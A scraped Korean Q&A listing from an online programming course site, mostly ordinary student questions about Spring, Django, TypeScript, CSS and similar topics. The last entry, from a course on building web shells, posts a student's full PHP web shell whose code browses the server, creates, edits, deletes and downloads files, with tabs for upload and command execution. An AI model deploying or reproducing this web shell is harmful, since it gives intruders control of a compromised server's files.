묻고 답해요
164만명의 커뮤니티!! 함께 토론해봐요.
인프런 TOP Writers
-
미해결[C++과 언리얼로 만드는 MMORPG 게임 개발 시리즈] Part2: 게임 수학과 DirectX12
fov 관련해서 질문이 있습니다
여기서 구한 projection 행렬을 보면 x축 y축 fov를 동일하게 설정하고 있는거 같은데.만약 다르다면 시야각이 x축과 y축이 달라질것 같습니다. 이런 경우는 고려하지 않아도 되는걸까요?
-
미해결스프링 DB 2편 - 데이터 접근 활용 기술
spring.profiles.active=test
spring.profiles.active=test이 위치의 application.properties 는 /src/test 하위의 자바 객체를 실행할 때 동작하는 스프링설정이다. 라고 적혀있는데 관례상 spring.profiles.active=test이건src/test 하위의 자바 객체를 실행할때 쓴다고 생각하면될까요 ?test가아닌 src/main 에도 spring.profiles.active=test 설정을 할순 있으나주로 /src/test 하위의 자바 객체를 사용할때 spring.profiles.active=test 설정을 한다고 보면 될까요 ?
-
미해결자바 ORM 표준 JPA 프로그래밍 - 기본편
구현 클래스마다 테이블 전략 질문
30븐 10초 쯤에 아이템 아이디가 5번인것으로 예를 들어주셔서 아이템 id가 5번인 table을 모두 다찾는다고 했는데 이해가 되지 않습니다.em.find를 할때 클래스를 넣어주는데 왜 table을 모두 다 찾나요?
-
미해결[C#과 유니티로 만드는 MMORPG 게임 개발 시리즈] Part4: 게임 서버
switch문과 딕셔너리 효율 질문입니다.
https://rito15.github.io/posts/cs-switch-case-vs-dictionary/이 내용을 보면 딕셔너리를 이용하는것보다 스위치문을 이용하는게 더 효율적인것으로 보이는데, 어떤것이 맞는지 모르겠어요
-
미해결8명의 비전공자는 어떻게 개발자로 취업했을까
개발공부 걱정이됩니다
안녕하세요 이번에 국비 수업 5일차가 돼어가는데 수업들을때는 아는것 같은데 연습문제풀때 막상 혼자 하려니깐 손을 못대겠어서 이 길이 저랑 안맞는지 의심이 듭니다. 그냥 그날 배운거 안보면서 따라치고 있기는 한데 계속 이대로 버티는게 맞을까요 ? 너무 걱정이 됩니다 .
-
미해결Do It! 장고+부트스트랩: 파이썬 웹개발의 정석
카테고리와 태그 위젯 위치 오류
안녕하세요? 좋은 강의 감사합니다.책 17-1을 하고 있는 도중에 질문이 있습니다.같은 base.html을 사용하고 있는데, post_detail.html 의 위젯 위치가 옆이 아니라, 아래에 나타나는 오류가 생깁니다. post_list.html 에서는 위젯이 정상적으로 오른쪽에 잡히는데요.오류 화면을 아래와 같이 첨부합니다.아래는 base.html의 코드이고요<!DOCTYPE html> {% load static %} <html> <head> <title>{% block head_title %}Blog{% endblock %}</title> <link rel= "stylesheet" href="{% static 'blog/bootstrap/bootstrap.min.css' %}" media="screen"> <script src="https://kit.fontawesome.com/726bbd6862.js" crossorigin="anonymous"></script> </head> <body> {% include 'blog/navbar.html' %} <div class="container my-3"> <div class="row"> <div class="col-md-8 col-lg-9" id="main-area"> {% block main_area %} {% endblock %} </div> <div class="col-md-4 col-lg-3"> <!-- Search Widget --> <div class="card my-4"> <h5 class="card-header">Search</h5> <div class="card-body"> <div class="input-group"> <input type="text" class="form-control" placeholder="Search for..."> <span class="input-group-btn"> <button class="btn btn-secondary" type="button">Go!</button> </span> </div> </div> </div> <!-- Categories Widget --> <div class="card my-4" id ="categories-card"> <h5 class="card-header">Categories</h5> <div class="card-body"> <div class="row"> <ul> {% for category in categories %} <li> <a href="{{ category.get_absolute_url }}">{{ category }} ({{ category.post_set.count }})</a> </li> {% endfor %} <li> <a href="/blog/category/no_category/"> 미분류 ({{ no_category_post_count }})</a> </li> </ul> </div> </div> </div> </div> </div> </div> {% include 'blog/footer.html' %} <script src="https://code.jquery.com/jquery-3.5.1.slim.min.js" integrity="sha384-DfXdz2htPH0lsSSs5nCTpuj/zy4C+OGpamoFVy38MVBnE+IbbVYUew+OrCXaRkfj" crossorigin="anonymous"></script> <script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.1/dist/umd/popper.min.js" integrity="sha384-9/reFTGAW83EW2RDu2S0VKaIzap3H66lZH81PoYlFhbGU+6BZp6G7niu735Sk7lN" crossorigin="anonymous"></script> <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js" integrity="sha384-B4gt1jrGC7Jh4AgTPSdUtOBvfO8shuf57BaghqFfPlYxofvL8/KUEfYiJOMMV+rV" crossorigin="anonymous"></script> </body> </html>아래는 post_detail.html의 코드 입니다.{% extends 'blog/base.html' %} {% block head_title %} {{ post.title }} - Blog {% endblock %} {% block main_area %} <div id = "post-area"> {% if post.category %} <span class="badge badge-secondary float-right">{{ post.category }}</span> {% else %} <span class="badge badge-secondary float-right"> 미분류 </span> {% endif %} <!-- Title --> <h1 class="mt-4">{{ post.title }}</h1> <h5 class="text-muted">{{ post.hook_text }}</h5> <!-- Author --> <p class="lead"> by <a href="#"> {{ post.author | upper }} </a> </p> <hr> {% if user.is_authenticated and user == post.author %} <a class="btn btn-info btn-sm float-right" href="/blog/update_post/{{ post.pk }}/" role="button"><i class="fas fa-pen"></i>Edit Post</a> {% endif %} <!-- Date/Time --> <p>{{ post.created_at }}</p> <hr> <!-- Preview Image --> {% if post.head_image %} <img class="img-fluid rounded" src="{{ post.head_image.url }}" alt="{{ post.title }} head image"> {% else %} <img class="img-fluid rounded" src="https://picsum.photos/seed/{{ post.id }}/800/200" alt="random_image"> {% endif %} <hr> <!-- Post Content --> <p class="lead">{{ post.get_content_markdown | safe }}</p> {% if post.tags.exists %} <i class="fas fa-tags"></i> {% for tag in post.tags.all %} <a href="{{ tag.get_absolute_url }}" class="badge badge-light">{{ tag }}</a> {% endfor %} <br/> <br/> {% endif %} {% if post.file_upload %} <a href="{{ post.file_upload.url }}" class="btn btn-outline-dark" role="button"> Download : {% if post.get_file_ext == 'csv' %} <i class="fa-regular fa-file-csv"></i> {% elif post.get_file_ext == 'xlsx' or 'xls' %} <i class="fa-regular fa-file-excel"></i> {% elif post.get_file_ext == 'docs' or 'doc' %} <i class="fa-regular fa-file-word"></i> {% else %} <i class="far fa-file"></i> {% endif %} {{ post.get_file_name }} </a> {% endif %} <hr> </div> <div id="comment-area"> <!-- Comments Form --> <div class="card my-4"> <h5 class="card-header">Leave a Comment:</h5> <div class="card-body"> <form> <div class="form-group"> <textarea class="form-control" rows="3"></textarea> </div> <button type="submit" class="btn btn-primary">Submit</button> </form> </div> </div> {% if post.comment_set.exists %} {% for comment in post.comment_set.iterator %} <!-- Single Comment --> <div class="media mb-4" id="comment-{{ comment.pk }}"> <img class="d-flex mr-3 rounded-circle" src="http://placehold.it/50x50" alt=""> <div class="media-body"> <h5 class="mt-0">{{ comment.author.username }} <small class="text-muted">{{ comment.created_at }}</small> </h5> <p>{{ comment.content | linebreaks }}</p> </div> {% endfor %} {% endif %} </div> <hr/> </div> {% endblock %}완성된 코드와 비교를 해봐도 다른점을 잘 모르겠는데 도움 부탁드립니다!
-
해결됨디자인 시스템 with 피그마
스페이싱 함수값 적용
안녕하세요. 선생님 강의를 따라서 똑같이 진행하고 있는데저는 스페이싱 함수값을 똑같이 적용했는데 왜 주황색 표시랑 아래처럼 보여지는걸까요?질문 중에 러부엉님과 같은 현상인건지 모르겠는데 왜이럴까요??ㅠㅠ아래 이미지처럼 적용했는데 틀렸나요???
-
미해결서버 없이 쓰는 서버, 구글 Cloud Functions
소스코드 제공
안녕하세요.실습에 나와있는 코드들이 강의를 따라서 타이핑 하는데 너무 시간이 오래걸립니다. 그리고, 많은 .ts 파일들은 실습을 통해서 생성된 파일에 비해 강의 설명시 이미 코딩되어 있는 소스들이 많이 있습니다. 소스 다운로드 방법을 클릭하니 유투브에 크리애플이라는 데서 다운받으라고 하는데, 인프런에서 수강료를 지불하고 강의를 듣고 있는데, 소스코드는 또 따로 유트부에 가서 별도로 다운 받아야하나요?
-
미해결[리뉴얼] 타입스크립트 올인원 : Part2. 실전 분석편
모듈 관련 질문입니다.
안녕하세요.tsconfig 중에 noResolve라는 항목에 대해서 공부하다가 이해가 가지 않는 점이 있어 질문남깁니다.1) d.ts 파일들을 보다보면 triple slash references 가 사용되어 있는것을 흔하게 볼 수 있습니다.제가 공부한 바로는 namespace(내부모듈) 을 작성할 때 참조경로를 컴파일러에게 알려주는 역할로서 사용한다고 이해 했는데 맞게 이해 한걸까요?2) noResolve 옵션은 triple slash references 을 무시한다고 공식문서에 나와있는데 그러면 해당 옵션이 어떻게 쓰이는지 궁금합니다. 활성화 되었을 때 참조관계가 무시되고 컴파일이 제대로 안될 것 같은데 그럼 무조건 런타임시 오류가 나지 않나요?
-
미해결실전! 스프링 부트와 JPA 활용1 - 웹 애플리케이션 개발
JPA 라이브러리 추가하면 히카리로 기본 동작하나용?
드라이버 매니저로 커넥션 받아오는거 테스트 하고 있었는데 왜 히카리로 동작하나요? Spring Db1편 강의에서 바뀐게 JPA 추가한게 전부인데 JPA 라이브러리 추가하면 히카리가 기본동작인가요?(휴대폰으로 결제를 하고 계정을 확인했는데 애플 계정으로 강의를 잘못 사서... 카카오 계정으로 Spring 과정 정주행 했습니다..ㅎㅎ)
-
미해결자바스크립트 알고리즘 문제풀이 입문(코딩테스트 대비)
어떻게 푸는 것이 더 옳은 방법인가요?
문제를 보고 저는 최대한 간결하게 아래의 코드처럼 작성을 하였습니다.function solution(arr1, arr2) { const answer = [...arr1].concat(arr2).sort((a, b) => a - b); return answer; }그리고 해설을 봤더니 강사님은 포인터를 사용하셔서 작성해주셨는데 코딩테스트에서 이런 비슷한 유형의 문제가 나왔을 때 포인터와 같은 풀이를 사용해서 작성하는 것이 옳은 방법인가요? 아니면 최대한 빨리 간결하게 작성하는 것이 옳은 방법인가요?물론 지금은 배우는 단계이니 포인터를 사용하는것이 맞지만 실제 코딩 테스트에서는 어떤 방법이 더 권장되는지 궁금합니다.
-
미해결Do It! 장고+부트스트랩: 파이썬 웹개발의 정석
구글 소셜 로그인 오류
안녕하세요?좋은 강의 감사합니다. 책에서 구글 소셜로그인 기능을 그대로 만들었는데, 구글로 로그인을 하면 아래와 같은 그림이 나옵니다.책에 있는 내용을 그대로 따라했는데(혹시 몰라서 한번더 해봤기 때문에 프로젝트 이름에 2가 붙어있습니다 ㅎㅎ) 혹시 어디서 오류가 발생하는것인지 가이드가 가능하실까요?
-
미해결[2026년 출제기준] 웹디자인개발기능사 실기시험 완벽 가이드
float:left;와 display:flex; 사용법?
어떤 때 float:left;를 사용하고 어떨 때 display:flex;를 사용합니까? 두 중 아무 것이나 편한 것 아무 때나 사용해도 됩니까?
-
미해결스프링 입문 - 코드로 배우는 스프링 부트, 웹 MVC, DB 접근 기술
pstmt.setString(1, member.getName());을 쓸 때 처음 매개변수값은 0으로 줘야하지 않나요?
parameterIndex는 1부터 시작하나요?
-
해결됨장고 설계철학으로 시작하는 파이썬 장고 입문
pyenv install 3.10.4 error
안녕하세요. 선생님먼저 좋은 강의를 만들어 주셔서 감사합니다. pyenv로 파이썬을 설치하려고 하는데 잘 설치가 되지 않아 문의드립니다.오류 코드는 아래와 같습니다.scoop 깨끗이 지우고 다시 pyenv로 다시 설치해도 아래와 같은 오류가 나옵니다.부탁 드립니다. 아래 PS C:\Users\kwanw> pyenv install 3.10.4 :: [Info] :: Mirror: https://www.python.org/ftp/python :: [Downloading] :: 3.10.4 ... :: [Downloading] :: From https://www.python.org/ftp/python/3.10.4/python-3.10.4-amd64.exe :: [Downloading] :: To C:\Users\kwanw\scoop\apps\pyenv\current\pyenv-win\install_cache\python-3.10.4-amd64.exe :: [Installing] :: 3.10.4 ... :: [Error] :: error installing "core" component MSI. :: [Error] :: couldn't install 3.10.4
-
미해결비전공자를 위한 풀스택 맛집지도 만들기 프로젝트!: Front, Back-end 그리고 배포까지
WinSCP 에서 Putty 열기(Ctrl + P) 오류
Win11 home 환경인데 첨부한 이미지 오류가 나네요.WinSCP, Putty 모두 최신버전이고 각각의 연결은 잘 됩니다.
-
미해결Jenkins를 이용한 CI/CD Pipeline 구축
ssh-copy-id authorized_key
ssh-copy-id 명령어로 복사를 하는데 authorized_key를 열어보니 ECHO가 설정되어 있습니다.라고 적혀있습니다.당연히 ping은 안되고, 혹시 해결법이나 다른방법이 있나요
-
미해결
localhost 404문제
매핑까지 다 하고 잘 되는지 확인해보려고 브라우저에 돌리는데ㅠㅠ로컬호스트에서 404가 뜨네요ㅠㅠ혹시 어디 부분이 잘못된걸까요..??ㅠㅠ
-
미해결공공데이터로 파이썬 데이터 분석 시작하기
Boxplot 결과가 달라요~(plot.box() vs sns.boxplot)
안녕하세요, 좋은 강의 올려 주셔서 항상 감사드립니다~하나의 raw data로 두 가지 방법으로 boxplot을 그려봤습니다. 그런데 그래프가 서로 상이합니다. 왜일까요,,, 확인 부탁 드립니다~df_last.groupby(["월", "연도"])["분양가격"].mean().round().unstack().plot.box()sns.boxplot(data = df_last, x = "연도", y = "분양가격")
-
미해결Skill-Up! 배워서 바로 쓰는 웹쉘 제작
파일, 폴더 삭제, 파일다운로드, 파일 수정이 안됩니다.
#원래 수정은 됬었어요 <? header("Content-Type:text/html;charset=UTF-8"); $mode = $_REQUEST["mode"]; $path = $_REQUEST["path"]; $page = basename($_SERVER["PHP_SELF"]); $fileName = $_GET["fileName"]; if(empty($path)){ $tempFileName = basename(__FILE__); $tempPath = realpath(__FILE__); $path = str_replace($tempFileName, "", $tempPath); $path = str_replace("\\", "/", $path); } else { $path= realpath($path)."/"; $path = str_replace("\\", "/", $path); } #Mode Logic if($mode == "fileCreate") { if(empty($fileName)){ echo "<script>alert('Empty File Name.');history.back(-1);</script>"; exit(); } $fp = fopen($path.$fileName, "w"); fclose($fp); echo "<script>location.href='{$page}?mode=fileBrowser&path={$path}'</script>"; } else if ($mode == "dirCreate") { if(empty($fileName)){ echo "<script>alert('Empty Directory Name.');history.back(-1);</script>"; exit(); } $dirPath = $path.$fileName; if(is_dir($dirPath)) { echo "<script>alert('Directory Already Exist.');history.back(-1);</script>"; exit(); } mkdir($dirPath); echo "<script>location.href='{$page}?mode=fileBrowser&path={$path}'</script>"; }else if ($mode == "fileModify" && !empty($_POST["fileContents"])) { $filePath = $path.$fileName; if(!file_exists(($filePath))) { echo "<script>alert('No File.');history.back(-1);</script>"; exit(); } $fileContents = $_POST["fileContents"]; $fp = fopen($filePath, "w"); fputs($fp, $fileContents, strlen($fileContents)); fclose($fp); echo "<script>location.href='{$page}?mode=fileBrowser&path={$path}'</script>"; } else if ($mode == "fileDelete") { if(empty($fileName)){ echo "<script>alert('Empty file name');history.back(-1);</script>"; exit(); } $filePath = $path.$fileName; if(!file_exists(($filePath))) { echo "<script>alert('No File.');history.back(-1);</script>"; exit(); } if(!unlink($filePath)){ echo "<script>alert('Fail To Delete File');history.back(-1);</script>"; exit(); } echo "<script>location.href='{$page}?mode=fileBrowser&path={$path}'</script>"; ####################################################################### } else if ($mode == "dirDelete") { if(empty($fileName)) { echo "<script>alert('No File.');history.back(-1);;</script>"; exit(); } $dirPath = $path.$fileName; if(!is_dir($dirPath)) { echo "<script>alert('No Directory.');history.back(-1);</script>"; } if(!rmdir($dirPath)) { echo "<script>alert('Fail To Delete Directory');history.back(-1);</script>"; exit(); } echo "<script>location.href='{$page}?mode=fileBrowser&path={$path}'</script>"; } else if ($mode == "fileDownload") { if(empty($fileName)) { echo "<script>alert('No File.');history.back(-1);;</script>"; exit(); } $filePath = $path.$fileName; if(!file_exists(($filePath))) { echo "<script>alert('No File.');history.back(-1);</script>"; exit(); } header("Content-Type:application/octet-stream"); header("Content-Disposition:attachment; fileName=\"{$fileName}\""); header("Content-Transfer-Encoding:binary"); readfile($filePath); exit(); } #Dir list return function function getDirList($getPath) { $listArr = array(); $handler = opendir($getPath); while($file = readdir()) { if(is_dir($getPath.$file) == "1") { $listArr[] = $file; } } closedir($handler); return $listArr; } #File List Return Function function getFileList($getPath) { $listArr = array(); $handler = opendir($getPath); while($file = readdir()) { if(is_dir($getPath.$file) != "1") { $listArr[] = $file; } } closedir($handler); return $listArr; } ?> <!DOCTYPE html> <html lang="ko"> <head> <title>SP WEBSHELL1.0.1</title> <!-- 합쳐지고 최소화된 최신 CSS --> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css"> <!-- 부가적인 테마 --> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap-theme.min.css"> <!-- 합쳐지고 최소화된 최신 자바스크립트 --> <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/js/bootstrap.min.js"></script> <script> function fileCreate() { var fileName = frm.createFileName.value; if(!fileName){ alert("Please Input File Name."); return; } location.href = "<?=$page?>?mode=fileCreate&path=<?=$path?>&fileName=" + fileName; } function dirCreate() { var fileName = frm.createFileName.value; if(!fileName){ alert("Please Input Directory Name."); return; } location.href = "<?=$page?>?mode=dirCreate&path=<?=$path?>&fileName=" + fileName; } function fileModify(fileName) { location.href = "<?=$page?>?mode=fileModify&path=<?=$path?>&fileName=" + fileName; function dirDelete(fileName) { if(confirm("Will you delete this directory? :" + fileName) == true){ location.href = "<?=$page?>?mode=dirDelete&path=<?=$path?>&fileName=" + fileName; } } function fileDelete(fileName) { if(confirm("Will you delete this file? :" + fileName) == true){ location.href = "<?=$page?>?mode=fileDelete&path=<?=$path?>&fileName=" + fileName; } } } function fileDownload(fileName) { location.href = "<?=$page?>?mode=fileDownload&path=<?=$path?>&fileName=" + fileName; </script> </head> <body> <div class="container-fluid"> <div class="row"> <div class="col-md-3"></div> <div class="col-md-6"> <h3>SP WEBSHELL ver 1.0.3</h3> <hr> <ul class="nav nav-tabs"> <li role="presentation" <? if(empty($mode) || $mode == "fileBrowser") echo "class=\active\"";?>><a href="<?=$page?>?mode=fileBrowser">File Browser</a></li> <li role="presentation"><a href="<?=$page?>?mode=fileUpload">File Upload</a></li> <li role="presentation" <? if($mode == "fileUpload") echo "class=\active\"";?>><a href="<?=$page?>?mode=command">Command Excution</a></li> <li role="presentation" <? if($mode == "logout") echo "class=\active\"";?>><a href="<?=$page?>?mode=logout">Logout</a></li> </ul> <br> <? if(empty($mode) || $mode == "fileBrowser") { ?> <form action="<?=$page?>?mode=fileBrowser" method="GET"> <div class="input-group"> <span class="input-group-addon">Current Path</span> <input type="text" class="form-control" placeholder="Path_Input" name="path" value="<?=$path?>"> <span class="input-group-btn"> <button class="btn btn-default" type="submit">Move</button> </span> </div> </form> <hr> <div class="table-responsive"> <table class="table table-bordered table-hover"style="table-layout: fixed; word-break: break-all;"> <thead> <tr class="active"> <th style="width: 50%"class="text-center">Name</th> <th style="width: 14%" class="text-center">Type</th> <th style="width: 18%" class="text-center">Date</th> <th style="width: 18%" class="text-center">Action</th> </tr> </thead> <tbody> <? $dirList = getDirList($path); for($i=0; $i<count($dirList); $i++) { if($dirList[$i] !=".") { $dirDate= date("Y-m-d H:i", filemtime($path.$dirList[$i])); ?> <tr> <td style="vertical-align: middle"><span class="glyphicon glyphicon-folder-open" aria-hidden="true"></span><b> <a href="<?=$page?>?mode=fileBrowser&path=<?=$path?><?=$dirList[$i]?>"><?=$dirList[$i]?></a></b></td> <td style="vertical-align: middle" class="text-center"><kbd>Directory</kbd></td> <td style="vertical-align: middle" class="text-center"><?=$dirDate?></td> <td style="vertical-align: middle" class="text-center"> <? if($dirList[$i] !="..") {?> <div class="btn-group btn-group-sm" role="group" aria-label="..."> <button type="button" class="btn btn-danger" title="Directory Delete" onclick="dirDelete('<?=$dirList[$i]?>')"><span class="glyphicon glyphicon-trash" aria-hidden="true"></span></button> <? }?> </div> </td> </tr> <? } } ?> <? $fileList = getFileList($path); for($i=0; $i<count($fileList); $i++) { $fileDate= date("Y-m-d H:i", filemtime($path.$fileList[$i])); ?> <tr> <td style="vertical-align: middle"><span class="glyphicon glyphicon-file" aria-hidden="true"></span> <?=$fileList[$i]?></td> <td style="vertical-align: middle" class="text-center"><kbd>File</kbd></td> <td style="vertical-align: middle" class="text-center"><?=$fileDate?></td> <td style="vertical-align: middle" class="text-center"> <div class="btn-group btn-group-sm" role="group" aria-label="..."> <button type="button" class="btn btn-info" title="File Download" onclick="fileDownload('<?=$fileList[$i]?>')"><span class="glyphicon glyphicon-save" aria-hidden="true"></span></button> <button type="button" class="btn btn-warning" title="File Modify" onclick="fileModify('<?=$fileList[$i]?>')"><span class="glyphicon glyphicon-wrench" aria-hidden="true"></span></button> <button type="button" class="btn btn-danger" title="File Delete" onclick="fileDelete('<?=$fileList[$i]?>')"><span class="glyphicon glyphicon-trash" aria-hidden="true"></span></button> </div> </td> </tr> <? } ?> </tbody> </table> </div> <hr> <form name="frm"> <div class="input-group"> <input type="text" class="form-control" placeholder="File/Directroy Name Input..." name="createFileName"> <span class="input-group-btn"> <button class="btn btn-default" type="button" onclick="fileCreate()">File Create</button> <button class="btn btn-default" type="button" onclick="dirCreate()">Directory Create</button> </span> </div> </form> <? } else if($mode == "fileModify") { ?> <? if(empty($fileName)) { echo"<script>alert('No File.');history.back(-1);</script"; exit(); } $filePath = $path.$fileName; if(!file_exists($filePath)){ echo"<script>alert('No File.');history.back(-1);</script"; exit(); } $fp = fopen($filePath, "r"); $fileContents = fread($fp, filesize($filePath)); fclose($fp); ?> <form action="<?=$page?>?mode=fileModify&path=<?$path?>&fileName=<?=$fileName?>" method="POST"> <div class="input-group"> <input type="text" class="form-control" value="<?=$path?><?=$fileName?>"> <span class="input-group-btn"> <button class="btn btn-default" type="submit">File Modify</button> </span> </div> <textarea class="form-control" rows="20" name="fileContents"><?=htmlspecialchars($fileContents)?></textarea> </form> <br> <p class="text-center"><button class="btn btn-default" type="button" onclick="history.back(-1)">Back</button></p> <? } ?> <hr> <p class="text-muted text-center">Made by SPACEPIG#1747</p> <div class="col-md-3"></div> </div> </div> </body> </html>